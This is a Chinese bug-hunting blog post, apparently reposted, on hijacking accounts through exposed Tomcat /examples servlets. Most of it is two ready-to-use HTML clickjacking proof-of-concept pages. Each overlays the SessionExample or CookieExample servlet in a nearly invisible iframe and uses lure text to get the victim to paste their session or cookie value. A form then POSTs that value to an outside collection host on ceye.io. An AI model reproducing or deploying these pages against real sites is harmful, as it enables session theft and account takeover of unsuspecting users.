挖洞经验之Tomcat Examples利用

Posted 2021-04-23 火线Zone

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了挖洞经验之Tomcat Examples利用相关的知识，希望对你有一定的参考价值。

一、内容：挖洞经验利用Tomcat Examples劫持任意账号，从而获得高危赏金

二、前提：如果当前系统刚好采用tomcat容器的cookie或者session进行

三、案例：

访问：http://**/examples/^[1]

扫描目录发现存在 examples

如果当前系统刚好采用tomcat容器的cookie或者session进行身份验证，利用点击劫持，那么是有机会劫持登陆用户的身份信息

常见的session路径：/examples/servlets/servlet/SessionExample

常见的Cookie路径：/examples/servlets/servlet/CookieExample

session劫持POC，保存为html:

<head>

<style>

iframe#fgframe {opacity:5%;}

</style>

</head>

<h1>LSP专用</h1>

<h2>只需要ctrl +c ;ctrl + v ;点击一下就可以了</h2>

<iframe id = "fgframe" height="650px" width="400px" src = "http://IP/examples/servlets/servlet/SessionExample">



</iframe>

<form action="http://xxxx.ceye.io" method="POST">

<div>

<lable for = "say"> 你敢弄不？</lable>

<textarea id = "cookie" name = "cookie" rows ="4" cols="50">

</textarea>

<div>

<div>

<button>点下就给个高危</button>

</div>

</form>

cookie劫持POC，保存为html:

<head>

<style>

iframe#fgframe {opacity:5%;}

</style>

</head>

<h1>LSP专用</h1>

<h2>只需要ctrl +c ;ctrl + v ;点击一下就可以了</h2>

<iframe id = "fgframe" height="650px" width="400px" src="http://IP/examples/servlets/servlet/CookieExample">



</iframe>

<form action="http://xxxx.ceye.io" method="POST">

<div>

<lable for = "say"> 你敢弄不？</lable>

<textarea id = "cookie" name = "cookie" rows ="4" cols="50">

</textarea>

<div>

<div>

<button>点下就给个高危</button>

</div>

</form>